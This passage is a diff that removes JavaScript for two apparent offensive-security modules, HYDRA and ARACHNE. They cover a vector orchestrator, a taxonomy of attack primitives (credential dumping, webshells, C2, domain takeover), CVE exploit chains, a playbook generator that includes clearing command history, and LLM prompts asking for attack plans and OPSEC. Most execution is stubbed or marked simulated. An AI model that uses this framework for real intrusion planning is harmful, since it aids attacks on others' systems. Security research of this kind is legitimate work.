-                    name: 'Authentication Bypass',
-                    category: 'auth',
-                    prerequisites: ['auth_mechanism'],
-                    indicators: ['logic_flaw', 'jwt_vuln', 'session_fixation'],
-                    payloads: ['jwt_none', 'idor', 'forced_browsing'],
-                    fallback: [],
-                    severity: 'critical',
-                    mitre: 'T1556'
-                }
-            },
-
-            // Engagement state
-            state: {
-                active: false,
-                vectors: [],
-                results: [],
-                currentPhase: 'idle',
-                adaptiveMode: true,
-                parallelHeads: 3
-            },
-
-            /**
-             * Analyze target and determine viable attack vectors
-             */
-            analyzeTarget(targetInfo) {
-                const viableVectors = [];
-                const detected = targetInfo.services || [];
-                const technologies = targetInfo.technologies || [];
-
-                Object.entries(this.ATTACK_VECTORS).forEach(([id, vector]) => {
-                    let score = 0;
-                    let matchedPrereqs = [];
-
-                    vector.prerequisites.forEach(prereq => {
-                        if (detected.includes(prereq) || technologies.some(t => t.toLowerCase().includes(prereq))) {
-                            score += 25;
-                            matchedPrereqs.push(prereq);
-                        }
-                    });
-
-                    const severityBoost = { critical: 30, high: 20, medium: 10, low: 5 };
-                    score += severityBoost[vector.severity] || 0;
-
-                    if (score > 20) {
-                        viableVectors.push({ id, ...vector, score, matchedPrereqs, status: 'pending' });
-                    }
-                });
-
-                return viableVectors.sort((a, b) => b.score - a.score);
-            },
-
-            /**
-             * Execute attack vector with fallback capability
-             */
-            async executeVector(vector, target, options = {}) {
-                const result = {
-                    vector: vector.id,
-                    name: vector.name,
-                    target,
-                    startTime: Date.now(),
-                    status: 'running',
-                    findings: [],
-                    payloadResults: []
-                };
-
-                console.log(`[HYDRA] 🍷 Executing vector: ${vector.name}`);
-
-                for (const payload of vector.payloads) {
-                    const payloadResult = { payload, success: false, response: null, indicator: null };
-
-                    try {
-                        if (options.dryRun) {
-                            payloadResult.response = `[DRY RUN] Would test: ${payload}`;
-                            payloadResult.success = Math.random() > 0.7;
-                        } else {
-                            payloadResult.response = await this.testPayload(vector, payload, target);
-                            payloadResult.success = this.checkIndicators(payloadResult.response, vector.indicators);
-                        }
-
-                        if (payloadResult.success) {
-                            payloadResult.indicator = vector.indicators.find(i =>
-                                payloadResult.response?.toLowerCase().includes(i.replace('_', ' '))
-                            ) || 'positive_response';
-                            result.findings.push({
-                                type: vector.name,
-                                payload,
-                                indicator: payloadResult.indicator,
-                                severity: vector.severity,
-                                mitre: vector.mitre
-                            });
-                        }
-                    } catch (error) {
-                        payloadResult.error = error.message;
-                    }
-
-                    result.payloadResults.push(payloadResult);
-                }
-
-                result.endTime = Date.now();
-                result.duration = result.endTime - result.startTime;
-                result.status = result.findings.length > 0 ? 'vulnerable' : 'not_vulnerable';
-
-                if (result.findings.length === 0 && this.state.adaptiveMode && vector.fallback.length > 0) {
-                    result.fallbackTriggered = true;
-                    result.fallbackVectors = vector.fallback;
-                    console.log(`[HYDRA] 🔄 Vector failed, triggering fallback: ${vector.fallback.join(', ')}`);
-                }
-
-                return result;
-            },
-
-            async testPayload(vector, payload, target) {
-                return `Testing ${vector.category} payload against ${target}: ${payload}`;
-            },
-
-            checkIndicators(response, indicators) {
-                if (!response) return false;
-                const responseLower = response.toLowerCase();
-                return indicators.some(indicator =>
-                    responseLower.includes(indicator.replace('_', ' ')) || responseLower.includes(indicator.replace('_', ''))
-                );
-            },
-
-            /**
-             * Run multi-vector attack with parallel execution
-             */
-            async orchestrate(targetInfo, options = {}) {
-                this.state.active = true;
-                this.state.currentPhase = 'analyzing';
-                this.state.results = [];
-
-                const startTime = Date.now();
-                const results = {
-                    target: targetInfo.target || targetInfo.host,
-                    startTime: new Date().toISOString(),
-                    phases: [],
-                    findings: [],
-                    vectorsExecuted: 0,
-                    fallbacksTriggered: 0
-                };
-
-                // [SIMULATED] Client-side multi-vector analysis only. The backend
-                // /api/pliny/hydra/orchestrate route was retired on 2026-06-30, so this
-                // demo runs entirely in-browser with no backend call.
-
-                console.log('[HYDRA] 🐙 Phase 1: Target Analysis');
-                const viableVectors = this.analyzeTarget(targetInfo);
-                results.phases.push({
-                    name: 'analysis',
-                    vectorsIdentified: viableVectors.length,
-                    vectors: viableVectors.map(v => ({ id: v.id, name: v.name, score: v.score }))
-                });
-
-                if (viableVectors.length === 0) {
-                    this.state.active = false;
-                    return { success: false, error: 'No viable attack vectors identified', results };
-                }
-
-                this.state.currentPhase = 'attacking';
-                console.log(`[HYDRA] 🐙 Phase 2: Executing ${Math.min(viableVectors.length, this.state.parallelHeads)} parallel vectors`);
-
-                const executeQueue = [...viableVectors];
-                const activePromises = new Map();
-                const completedResults = [];
-
-                while (executeQueue.length > 0 || activePromises.size > 0) {
-                    while (activePromises.size < this.state.parallelHeads && executeQueue.length > 0) {
-                        const vector = executeQueue.shift();
-                        const promise = this.executeVector(vector, targetInfo.target, options);
-                        activePromises.set(vector.id, { promise, vector });
-                    }
-
-                    if (activePromises.size === 0) break;
-
-                    const entries = Array.from(activePromises.entries());
-                    const raceResult = await Promise.race(
-                        entries.map(([id, { promise }]) => promise.then(r => ({ id, result: r })))
-                    );
-
-                    activePromises.delete(raceResult.id);
-                    completedResults.push(raceResult.result);
-                    results.vectorsExecuted++;
-
-                    if (raceResult.result.fallbackTriggered && this.state.adaptiveMode) {
-                        results.fallbacksTriggered++;
-                        for (const fallbackId of raceResult.result.fallbackVectors) {
-                            if (this.ATTACK_VECTORS[fallbackId] && !completedResults.some(r => r.vector === fallbackId)) {
-                                const fallbackVector = { id: fallbackId, ...this.ATTACK_VECTORS[fallbackId], score: 50, status: 'fallback' };
-                                executeQueue.unshift(fallbackVector);
-                            }
-                        }
-                    }
-
-                    if (raceResult.result.findings.length > 0) {
-                        results.findings.push(...raceResult.result.findings);
-                    }
-                }
-
-                results.phases.push({ name: 'execution', results: completedResults });
-
-                this.state.currentPhase = 'reporting';
-                console.log('[HYDRA] 🐙 Phase 3: Generating Report');
-
-                results.endTime = new Date().toISOString();
-                results.duration = Date.now() - startTime;
-                results.summary = {
-                    totalVectors: viableVectors.length,
-                    executed: results.vectorsExecuted,
-                    fallbacks: results.fallbacksTriggered,
-                    findings: results.findings.length,
-                    critical: results.findings.filter(f => f.severity === 'critical').length,
-                    high: results.findings.filter(f => f.severity === 'high').length,
-                    medium: results.findings.filter(f => f.severity === 'medium').length
-                };
-
-                this.state.active = false;
-                this.state.currentPhase = 'idle';
-                this.state.results = results;
-
-                return { success: true, results };
-            },
-
-            /**
-             * LLM-powered adaptive strategy generation
-             */
-            async generateAdaptiveStrategy(targetInfo, previousResults) {
-                const apiKey = getApiKey();
-                if (!apiKey) return { error: 'No API key configured' };
-
-                const prompt = `You are HYDRA, a Pliny Special for breadth-first adversarial pressure. Based on the target information and previous attack results, generate an adaptive attack strategy.
-
-TARGET INFO:
-${JSON.stringify(targetInfo, null, 2)}
-
-PREVIOUS RESULTS:
-${JSON.stringify(previousResults, null, 2)}
-
-Generate a strategic attack plan that:
-1. Identifies the most promising attack vectors based on what worked/failed
-2. Suggests payload modifications for failed vectors
-3. Recommends new vectors to try based on discovered information
-4. Provides timing and sequencing recommendations
-5. Identifies potential pivot points from successful attacks
-
-Format as actionable JSON with specific next steps.`;
-
-                try {
-                    const content = await safeLLMCall(prompt, { title: 'T3MP3ST HYDRA', maxTokens: 3000, temperature: 0.3 });
-                    return { strategy: content };
-                } catch (error) {
-                    return { error: error.message };
-                }
-            },
-
-            async runDemo() {
-                const demoTarget = {
-                    target: 'demo.target.local',
-                    host: '192.168.1.100',
-                    services: ['web_server', 'database', 'ssh_port', 'smb_port'],
-                    technologies: ['apache', 'php', 'mysql', 'windows'],
-                    ports: [22, 80, 443, 445, 3306]
-                };
-
-                console.log('[HYDRA] 🐙 Running demo attack orchestration...');
-                toast('[SIMULATED] 🍷 HYDRA: The frenzy begins...', 'info');
-
-                const result = await this.orchestrate(demoTarget, { dryRun: true });
-
-                if (result.success) {
-                    toast(`[SIMULATED] 🍷 HYDRA: Found ${result.results.summary.findings} vulnerabilities in divine frenzy!`, 'success');
-                    addIntel('HYDRA', `[SIMULATED] Attack complete: ${result.results.summary.executed} vectors, ${result.results.summary.findings} findings`, 'success');
-                }
-                return result;
-            }
-        };
-
-        window.HYDRA = HYDRA;
-
-        // ═══════════════════════════════════════════════════════════════
-        // ARACHNE v2.0 - Production-Grade Exploit Chain Builder
-        // The thread through the labyrinth - maps vulnerabilities to objectives
-        // ═══════════════════════════════════════════════════════════════
-        const ARACHNE = {
-            name: 'ARACHNE',
-            version: '2.0.0',
-            description: 'Production-grade exploit chain builder with graph-based path finding',
-
-            // ═══════════════════════════════════════════════════════════════
-            // ATTACK PRIMITIVE TAXONOMY (Based on MITRE ATT&CK)
-            // ═══════════════════════════════════════════════════════════════
-            PRIMITIVES: {
-                // Information Gathering Primitives
-                file_read: {
-                    type: 'read', category: 'collection', mitre: ['T1005', 'T1039', 'T1083'],
-                    provides: ['credentials', 'config', 'source_code', 'keys', 'tokens'],
-                    techniques: ['lfi', 'xxe', 'ssrf_file', 'path_traversal', 'symlink', 'race_condition'],
-                    prerequisite: null, detectability: 0.3, reliability: 0.85
-                },
-                db_read: {
-                    type: 'read', category: 'collection', mitre: ['T1213', 'T1530'],
-                    provides: ['credentials', 'user_data', 'secrets', 'pii', 'financial_data'],
-                    techniques: ['sqli_union', 'sqli_blind', 'sqli_error', 'sqli_oob', 'nosqli', 'ormql'],
-                    prerequisite: null, detectability: 0.5, reliability: 0.9
-                },
-                memory_read: {
-                    type: 'read', category: 'credential_access', mitre: ['T1003', 'T1552'],
-                    provides: ['credentials', 'tokens', 'keys', 'session_data', 'heap_secrets'],
-                    techniques: ['heartbleed', 'memory_disclosure', 'use_after_free', 'heap_spray', 'buffer_over_read'],
-                    prerequisite: 'code_exec', detectability: 0.2, reliability: 0.6
-                },
-                // Write Primitives
-                file_write: {
-                    type: 'write', category: 'persistence', mitre: ['T1105', 'T1036', 'T1546'],
-                    provides: ['webshell', 'config_poison', 'cron_job', 'ssh_key', 'backdoor'],
-                    techniques: ['arbitrary_upload', 'zip_slip', 'log_poison', 'race_condition', 'symlink_attack', 'path_truncation'],
-                    prerequisite: null, detectability: 0.6, reliability: 0.8
-                },
-                db_write: {
-                    type: 'write', category: 'persistence', mitre: ['T1565', 'T1136'],
-                    provides: ['user_creation', 'privilege_grant', 'data_modify', 'trigger_backdoor'],
-                    techniques: ['sqli_stacked', 'sqli_into_outfile', 'nosqli_update', 'stored_proc_abuse'],
-                    prerequisite: 'db_read', detectability: 0.7, reliability: 0.75
-                },
-                registry_write: {
-                    type: 'write', category: 'persistence', mitre: ['T1547', 'T1112'],
-                    provides: ['autorun', 'service_config', 'security_policy'],
-                    techniques: ['reg_add', 'wmi_persistence', 'com_hijack'],
-                    prerequisite: 'code_exec', detectability: 0.8, reliability: 0.9
-                },
-                // Execution Primitives
-                code_exec: {
-                    type: 'execute', category: 'execution', mitre: ['T1059', 'T1203', 'T1106'],
-                    provides: ['shell', 'reverse_shell', 'command_output', 'process_control'],
-                    techniques: ['rce', 'ssti', 'deserialization', 'command_injection', 'expression_language', 'ognl', 'el_injection', 'prototype_pollution'],
-                    prerequisite: null, detectability: 0.7, reliability: 0.85
-                },
-                sql_exec: {
-                    type: 'execute', category: 'execution', mitre: ['T1059'],
-                    provides: ['db_command', 'xp_cmdshell', 'file_ops', 'ole_automation'],
-                    techniques: ['sqli_stacked', 'into_outfile', 'load_file', 'xp_cmdshell', 'ole_automation_procedures'],
-                    prerequisite: 'db_read', detectability: 0.8, reliability: 0.7
-                },
-                // Authentication Primitives
-                auth_bypass: {
-                    type: 'auth', category: 'initial_access', mitre: ['T1556', 'T1550'],
-                    provides: ['session', 'admin_access', 'impersonation', 'mfa_bypass'],
-                    techniques: ['jwt_none', 'jwt_confusion', 'idor', 'session_fixation', 'oauth_flaw', 'saml_injection', 'kerberos_delegation', 'pass_the_hash', 'pass_the_ticket'],
-                    prerequisite: null, detectability: 0.4, reliability: 0.7
-                },
-                cred_theft: {
-                    type: 'auth', category: 'credential_access', mitre: ['T1003', 'T1555', 'T1552', 'T1558'],
-                    provides: ['password', 'hash', 'token', 'key', 'ticket', 'certificate'],
-                    techniques: ['credential_dump', 'mimikatz', 'lsass_dump', 'sam_dump', 'dcsync', 'kerberoasting', 'asreproasting', 'keylog', 'phishing', 'ntds_dump'],
-                    prerequisite: 'code_exec', detectability: 0.6, reliability: 0.8
-                },
-                // Network Primitives
-                ssrf: {
-                    type: 'network', category: 'discovery', mitre: ['T1090', 'T1046'],
-                    provides: ['internal_access', 'cloud_metadata', 'service_enum', 'port_scan'],
-                    techniques: ['ssrf', 'dns_rebinding', 'toctou', 'protocol_smuggling', 'gopher', 'dict'],
-                    prerequisite: null, detectability: 0.5, reliability: 0.8
-                },
-                pivot: {
-                    type: 'network', category: 'lateral_movement', mitre: ['T1021', 'T1080', 'T1570'],
-                    provides: ['lateral_movement', 'internal_network', 'subnet_access'],
-                    techniques: ['port_forward', 'socks_proxy', 'vpn_hijack', 'ssh_tunnel', 'rdp_tunnel', 'smb_relay', 'ntlm_relay'],
-                    prerequisite: 'code_exec', detectability: 0.6, reliability: 0.85
-                },
-                c2_establish: {
-                    type: 'network', category: 'command_and_control', mitre: ['T1071', 'T1095', 'T1572'],
-                    provides: ['persistent_access', 'data_channel', 'command_channel'],
-                    techniques: ['http_beacon', 'https_beacon', 'dns_tunnel', 'icmp_tunnel', 'websocket', 'domain_fronting'],
-                    prerequisite: 'code_exec', detectability: 0.4, reliability: 0.9
-                },
-                // Privilege Primitives
-                privesc_local: {
-                    type: 'privilege', category: 'privilege_escalation', mitre: ['T1068', 'T1548', 'T1134'],
-                    provides: ['root', 'system', 'admin', 'elevated_token'],
-                    techniques: ['kernel_exploit', 'suid_abuse', 'sudo_bypass', 'dll_hijack', 'service_abuse', 'uac_bypass', 'token_manipulation'],
-                    prerequisite: 'code_exec', detectability: 0.7, reliability: 0.6
-                },
-                privesc_domain: {
-                    type: 'privilege', category: 'privilege_escalation', mitre: ['T1484', 'T1558'],
-                    provides: ['domain_admin', 'enterprise_admin', 'schema_admin'],
-                    techniques: ['dcsync', 'golden_ticket', 'silver_ticket', 'skeleton_key', 'dsrm_abuse', 'acl_abuse', 'gpo_abuse', 'certificate_abuse'],
-                    prerequisite: 'cred_theft', detectability: 0.8, reliability: 0.7
-                }
-            },
-
-            // ═══════════════════════════════════════════════════════════════
-            // STRATEGIC OBJECTIVES (MITRE Tactics)
-            // ═══════════════════════════════════════════════════════════════
-            OBJECTIVES: {
-                initial_access: { name: 'Initial Access', description: 'Gain first foothold', requires: [['code_exec'], ['auth_bypass', 'code_exec'], ['file_write', 'code_exec']], impact: 'high', mitre_tactic: 'TA0001' },
-                data_exfil: { name: 'Data Exfiltration', description: 'Extract sensitive data', requires: [['db_read'], ['file_read'], ['memory_read'], ['db_read', 'c2_establish']], impact: 'critical', mitre_tactic: 'TA0010' },
-                shell_access: { name: 'Shell Access', description: 'Obtain interactive shell', requires: [['code_exec'], ['file_write', 'code_exec'], ['sql_exec']], impact: 'critical', mitre_tactic: 'TA0002' },
-                privilege_escalation: { name: 'Privilege Escalation', description: 'Elevate privileges', requires: [['code_exec', 'privesc_local'], ['cred_theft', 'auth_bypass'], ['file_read', 'privesc_local']], impact: 'critical', mitre_tactic: 'TA0004' },
-                persistence: { name: 'Persistence', description: 'Establish persistent access', requires: [['file_write', 'code_exec'], ['db_write'], ['registry_write'], ['c2_establish']], impact: 'high', mitre_tactic: 'TA0003' },
-                lateral_movement: { name: 'Lateral Movement', description: 'Move to other systems', requires: [['cred_theft', 'pivot'], ['ssrf', 'code_exec'], ['pivot', 'auth_bypass']], impact: 'critical', mitre_tactic: 'TA0008' },
-                domain_dominance: { name: 'Domain Dominance', description: 'Achieve domain admin', requires: [['cred_theft', 'privesc_domain'], ['cred_theft', 'pivot', 'privesc_domain']], impact: 'critical', mitre_tactic: 'TA0004' },
-                cloud_takeover: { name: 'Cloud Takeover', description: 'Compromise cloud infrastructure', requires: [['ssrf', 'cred_theft'], ['file_read', 'auth_bypass'], ['code_exec', 'cred_theft']], impact: 'critical', mitre_tactic: 'TA0006' }
-            },
-
-            // ═══════════════════════════════════════════════════════════════
-            // KNOWN EXPLOIT CHAINS (CVE-mapped, 20+ chains)
-            // ═══════════════════════════════════════════════════════════════
-            KNOWN_CHAINS: [
-                { name: 'ProxyLogon', cves: ['CVE-2021-26855', 'CVE-2021-27065'], steps: ['ssrf', 'auth_bypass', 'file_write', 'code_exec'], target: 'Exchange Server 2013-2019', impact: 'critical', reliability: 0.95 },
-                { name: 'ProxyShell', cves: ['CVE-2021-34473', 'CVE-2021-34523', 'CVE-2021-31207'], steps: ['auth_bypass', 'privesc_local', 'code_exec'], target: 'Exchange Server', impact: 'critical', reliability: 0.9 },
-                { name: 'ProxyNotShell', cves: ['CVE-2022-41040', 'CVE-2022-41082'], steps: ['ssrf', 'code_exec'], target: 'Exchange Server', impact: 'critical', reliability: 0.85 },
-                { name: 'Log4Shell', cves: ['CVE-2021-44228'], steps: ['ssrf', 'code_exec'], target: 'Java Apps (Log4j)', impact: 'critical', reliability: 0.95 },
-                { name: 'Spring4Shell', cves: ['CVE-2022-22965'], steps: ['file_write', 'code_exec'], target: 'Spring Framework', impact: 'critical', reliability: 0.8 },
-                { name: 'PrintNightmare', cves: ['CVE-2021-34527'], steps: ['code_exec', 'privesc_local'], target: 'Windows Print Spooler', impact: 'critical', reliability: 0.85 },
-                { name: 'ZeroLogon', cves: ['CVE-2020-1472'], steps: ['auth_bypass', 'privesc_domain'], target: 'Windows AD (Netlogon)', impact: 'critical', reliability: 0.9 },
-                { name: 'PetitPotam + ADCS', cves: ['CVE-2021-36942'], steps: ['auth_bypass', 'cred_theft', 'privesc_domain'], target: 'Windows AD', impact: 'critical', reliability: 0.85 },
-                { name: 'EternalBlue', cves: ['CVE-2017-0144'], steps: ['code_exec', 'privesc_local'], target: 'Windows SMBv1', impact: 'critical', reliability: 0.9 },
-                { name: 'SSRF to Cloud Metadata', cves: [], steps: ['ssrf', 'cred_theft', 'auth_bypass'], target: 'Cloud Apps (AWS/GCP/Azure)', impact: 'critical', reliability: 0.9 },
-                { name: 'SQLi to Shell', cves: [], steps: ['db_read', 'db_write', 'sql_exec', 'code_exec'], target: 'Web Applications', impact: 'critical', reliability: 0.8 },
-                { name: 'LFI to RCE (Log Poison)', cves: [], steps: ['file_read', 'file_write', 'code_exec'], target: 'PHP Applications', impact: 'critical', reliability: 0.75 },
-                { name: 'Deserialization RCE Chain', cves: [], steps: ['code_exec', 'file_read', 'cred_theft', 'pivot'], target: 'Java/.NET Apps', impact: 'critical', reliability: 0.85 },
-                { name: 'XXE to SSRF to RCE', cves: [], steps: ['file_read', 'ssrf', 'code_exec'], target: 'XML-processing Apps', impact: 'critical', reliability: 0.7 },
-                { name: 'GitHub Actions Poisoning', cves: [], steps: ['file_write', 'code_exec', 'cred_theft'], target: 'GitHub Actions', impact: 'critical', reliability: 0.8 },
-                { name: 'Jenkins Pipeline RCE', cves: [], steps: ['auth_bypass', 'code_exec', 'cred_theft'], target: 'Jenkins CI', impact: 'critical', reliability: 0.85 },
-                { name: 'Container Escape', cves: ['CVE-2020-15257', 'CVE-2022-0185'], steps: ['code_exec', 'privesc_local'], target: 'Docker/Kubernetes', impact: 'critical', reliability: 0.7 },
-                { name: 'Kerberoasting Chain', cves: [], steps: ['cred_theft', 'auth_bypass', 'privesc_domain'], target: 'Windows AD', impact: 'critical', reliability: 0.8 }
-            ],
-
-            // ═══════════════════════════════════════════════════════════════
-            // GRAPH-BASED CHAIN FINDER (Dijkstra-inspired)
-            // ═══════════════════════════════════════════════════════════════
-            buildGraph() {
-                const graph = new Map();
-                Object.entries(this.PRIMITIVES).forEach(([primId, prim]) => {
-                    if (!graph.has(primId)) graph.set(primId, []);
-                    prim.provides.forEach(provision => {
-                        Object.entries(this.PRIMITIVES).forEach(([targetId, targetPrim]) => {
-                            if (targetId !== primId) {
-                                const enables = targetPrim.techniques.some(t => provision.includes(t) || t.includes(provision)) || (targetPrim.prerequisite === primId);
-                                if (enables) {
-                                    graph.get(primId).push({ target: targetId, weight: 1 - (prim.reliability * (1 - prim.detectability)), via: provision });
-                                }
-                            }
-                        });
-                    });
-                });
-                return graph;
-            },
-
-            dijkstra(graph, start, end) {
-                const distances = new Map(), previous = new Map(), visited = new Set(), queue = [];
-                graph.forEach((_, node) => distances.set(node, Infinity));
-                distances.set(start, 0);
-                queue.push({ node: start, weight: 0 });
-                while (queue.length > 0) {
-                    queue.sort((a, b) => a.weight - b.weight);
-                    const { node: current } = queue.shift();
-                    if (current === end) {
-                        const path = [];
-                        let curr = end;
-                        while (previous.has(curr)) {
-                            const prev = previous.get(curr);
-                            path.unshift({ node: curr, weight: distances.get(curr) - distances.get(prev.from), via: prev.via });
-                            curr = prev.from;
-                        }
-                        return { found: true, path, totalWeight: distances.get(end) };
-                    }
-                    if (visited.has(current)) continue;
-                    visited.add(current);
-                    const neighbors = graph.get(current) || [];
-                    for (const { target, weight, via } of neighbors) {
-                        const newDist = distances.get(current) + weight;
-                        if (newDist < distances.get(target)) {
-                            distances.set(target, newDist);
-                            previous.set(target, { from: current, via });
-                            queue.push({ node: target, weight: newDist });
-                        }
-                    }
-                }
-                return { found: false };
-            },
-
-            // ═══════════════════════════════════════════════════════════════
-            // CHAIN ANALYSIS ENGINE
-            // ═══════════════════════════════════════════════════════════════
-            findChains(discoveredVulns, objective) {
-                const chains = [], objectiveReqs = this.OBJECTIVES[objective];
-                if (!objectiveReqs) return { error: `Unknown objective: ${objective}` };
-                const availablePrimitives = new Set(), vulnToPrimitive = new Map(), primitiveToVuln = new Map();
-
-                discoveredVulns.forEach(vuln => {
-                    Object.entries(this.PRIMITIVES).forEach(([primId, prim]) => {
-                        const matches = prim.techniques.some(t => vuln.type?.toLowerCase().includes(t) || vuln.name?.toLowerCase().includes(t) || t.includes(vuln.type?.toLowerCase() || ''));
-                        if (matches) {
-                            availablePrimitives.add(primId);
-                            if (!vulnToPrimitive.has(primId)) vulnToPrimitive.set(primId, []);
-                            vulnToPrimitive.get(primId).push(vuln);
-                            primitiveToVuln.set(primId, vuln);
-                        }
-                    });
-                });
-
-                objectiveReqs.requires.forEach((reqPath, pathIndex) => {
-                    const missingPrimitives = reqPath.filter(p => !availablePrimitives.has(p));
-                    const availableInPath = reqPath.filter(p => availablePrimitives.has(p));
-                    const reliability = availableInPath.reduce((acc, p) => acc * (this.PRIMITIVES[p]?.reliability || 0.5), 1);
-                    const detectionRisk = availableInPath.reduce((acc, p) => Math.max(acc, this.PRIMITIVES[p]?.detectability || 0.5), 0);
-
-                    if (missingPrimitives.length === 0) {
-                        chains.push({ path: pathIndex, objective: objectiveReqs.name, primitives: reqPath, vulns: reqPath.map(p => primitiveToVuln.get(p)).filter(Boolean), complete: true, reliability, detectionRisk, confidence: reliability * (1 - detectionRisk), impact: objectiveReqs.impact, mitre_tactic: objectiveReqs.mitre_tactic });
-                    } else if (missingPrimitives.length <= 2) {
-                        chains.push({ path: pathIndex, objective: objectiveReqs.name, primitives: reqPath, available: availableInPath, missing: missingPrimitives, complete: false, confidence: (reqPath.length - missingPrimitives.length) / reqPath.length * reliability, reliability, detectionRisk, impact: objectiveReqs.impact, suggestion: `Need: ${missingPrimitives.map(p => this.PRIMITIVES[p]?.techniques.slice(0, 2).join('/')).join(', ')}` });
-                    }
-                });
-
-                this.KNOWN_CHAINS.forEach(known => {
-                    const matchedSteps = known.steps.filter(s => availablePrimitives.has(s));
-                    if (matchedSteps.length >= known.steps.length * 0.5) {
-                        chains.push({ type: 'known_chain', name: known.name, cves: known.cves, steps: known.steps, matched: matchedSteps, missing: known.steps.filter(s => !availablePrimitives.has(s)), complete: matchedSteps.length === known.steps.length, target: known.target, impact: known.impact, reliability: known.reliability * (matchedSteps.length / known.steps.length) });
-                    }
-                });
-
-                return { objective, availablePrimitives: Array.from(availablePrimitives), primitiveDetails: Array.from(availablePrimitives).map(p => ({ id: p, ...this.PRIMITIVES[p], vulns: vulnToPrimitive.get(p) })), chains: chains.sort((a, b) => (b.complete ? 1 : 0) - (a.complete ? 1 : 0) || (b.confidence || 0) - (a.confidence || 0)), completeChains: chains.filter(c => c.complete).length, partialChains: chains.filter(c => !c.complete).length, knownChainMatches: chains.filter(c => c.type === 'known_chain').length };
-            },
-
-            // ═══════════════════════════════════════════════════════════════
-            // PLAYBOOK GENERATOR
-            // ═══════════════════════════════════════════════════════════════
-            generatePlaybook(chain, targetInfo) {
-                const playbook = { title: `Exploitation Playbook: ${chain.objective || chain.name}`, classification: 'CONFIDENTIAL', chain, target: targetInfo, generated: new Date().toISOString(), riskAssessment: { reliability: chain.reliability || 0.8, detectionRisk: chain.detectionRisk || 0.5, overallRisk: chain.detectionRisk > 0.7 ? 'HIGH' : chain.detectionRisk > 0.4 ? 'MEDIUM' : 'LOW' }, phases: [], prerequisites: [], contingencies: [], cleanup: [], indicators: [] };
-                const primitives = chain.primitives || chain.steps || [];
-
-                primitives.forEach((primId, index) => {
-                    const prim = this.PRIMITIVES[primId];
-                    if (prim) {
-                        const phase = { phase: index + 1, primitive: primId, name: primId.replace(/_/g, ' ').toUpperCase(), category: prim.category, mitre: prim.mitre, techniques: prim.techniques, provides: prim.provides, detectability: prim.detectability, instructions: [], validation: [`Verify ${prim.provides[0]} obtained`, 'Check for detection indicators'], rollback: ['Document changes made', 'Prepare to revert if detected'] };
-                        prim.techniques.slice(0, 3).forEach(tech => { phase.instructions.push({ technique: tech, description: `Execute ${tech}`, tools: this.getToolsForTechnique(tech), expectedOutput: prim.provides[0] }); });
-                        playbook.phases.push(phase);
-                        playbook.indicators.push({ phase: index + 1, artifacts: this.getArtifactsForPrimitive(primId), detection_signatures: this.getDetectionSignatures(primId) });
-                    }
-                });
-
-                playbook.prerequisites = ['Verify authorization scope', 'Set up isolated infrastructure', 'Configure logging', 'Prepare rollback procedures', 'Establish blue team comms', 'Review target scope'];
-                playbook.contingencies = [{ trigger: 'Detection alert', action: 'Execute cleanup, pause' }, { trigger: 'Unexpected access', action: 'Document, do not explore' }, { trigger: 'System instability', action: 'Abort, notify owner' }];
-                playbook.cleanup = ['Remove webshells', 'Clear command history', 'Remove persistence', 'Restore configs', 'Delete created accounts', 'Document all actions'];
-                return playbook;
-            },
-
-            getToolsForTechnique(technique) {
-                const toolMap = { 'sqli': ['sqlmap', 'burp'], 'lfi': ['burp', 'ffuf'], 'rce': ['metasploit', 'burp'], 'ssti': ['tplmap', 'SSTImap'], 'ssrf': ['burp', 'ssrfmap'], 'deserialization': ['ysoserial', 'marshalsec'], 'jwt': ['jwt_tool', 'hashcat'], 'kerberoasting': ['impacket', 'rubeus'], 'dcsync': ['mimikatz', 'impacket'], 'default': ['burp', 'custom'] };
-                return toolMap[technique] || toolMap['default'];
-            },
-            getArtifactsForPrimitive(primId) {
-                const artifacts = { 'code_exec': ['process creation', 'command logs'], 'file_write': ['file system changes', 'MFT entries'], 'cred_theft': ['LSASS access', 'security logs'], 'pivot': ['network connections', 'tunnel traffic'] };
-                return artifacts[primId] || ['activity logs'];
-            },
-            getDetectionSignatures(primId) {
-                const sigs = { 'code_exec': ['Sysmon EventID 1', 'EDR alerts'], 'file_write': ['Sysmon EventID 11', 'FIM alerts'], 'cred_theft': ['Windows 4624/4625', 'EDR LSASS alerts'], 'ssrf': ['WAF SSRF rules', 'metadata access logs'] };
-                return sigs[primId] || ['IDS/IPS alerts'];
-            },
-
-            async analyzeWithLLM(discoveredVulns, objectives, targetInfo) {
-                const apiKey = getApiKey();
-                if (!apiKey) return { error: 'No API key configured' };
-                const prompt = `You are ARACHNE v2.0, expert exploit chain architect using MITRE ATT&CK. Analyze vulnerabilities and design optimal attack paths.\n\nVULNERABILITIES:\n${JSON.stringify(discoveredVulns, null, 2)}\n\nTARGET:\n${JSON.stringify(targetInfo, null, 2)}\n\nOBJECTIVES: ${objectives.join(', ')}\n\nProvide:\n1. OPTIMAL CHAIN with step-by-step instructions\n2. ALTERNATIVE CHAINS ranked by reliability\n3. RISK MATRIX per step\n4. TECHNIQUE DETAILS (tools, payloads)\n5. MITRE MAPPING\n6. OPSEC CONSIDERATIONS\n7. SUCCESS METRICS\n8. CONTINGENCIES\n\nFormat as detailed JSON.`;
-
-                try {
-                    const content = await safeLLMCall(prompt, { title: 'T3MP3ST ARACHNE v2.0', maxTokens: 6000, temperature: 0.2 });
-                    return { analysis: content };
-                } catch (error) { return { error: error.message }; }
-            },
-
-            /**
-             * Enhanced chain analysis with optional API integration
-             */
-            async findChainsEnhanced(discoveredVulns, objective, options = {}) {
-                // [SIMULATED] Client-side chain analysis only. The backend
-                // /api/pliny/arachne/chain route was retired on 2026-06-30, so this
-                // runs entirely in-browser with no backend call.
-                return this.findChains(discoveredVulns, objective);
-            },
-
-            runDemo() {
-                console.log('[ARACHNE v2.0] ⛓️ Production-grade chain analysis...');
-                toast('[SIMULATED] 🧵 ARACHNE v2.0: Threading the labyrinth...', 'info');
-                const demoVulns = [
-                    { name: 'SQL Injection in login', type: 'sqli_union', severity: 'critical', cvss: 9.8 },
-                    { name: 'Local File Inclusion', type: 'lfi', severity: 'high', cvss: 7.5 },
-                    { name: 'Arbitrary File Upload', type: 'arbitrary_upload', severity: 'critical', cvss: 9.1 },
-                    { name: 'SSRF in image proxy', type: 'ssrf', severity: 'high', cvss: 8.2 },
-                    { name: 'JWT Algorithm Confusion', type: 'jwt_confusion', severity: 'high', cvss: 8.0 }
-                ];
-                const result = this.findChains(demoVulns, 'shell_access');
-                if (result.completeChains > 0) {
-                    toast(`[SIMULATED] 🧵 ARACHNE v2.0: ${result.completeChains} complete chains, ${result.knownChainMatches} known patterns!`, 'success');
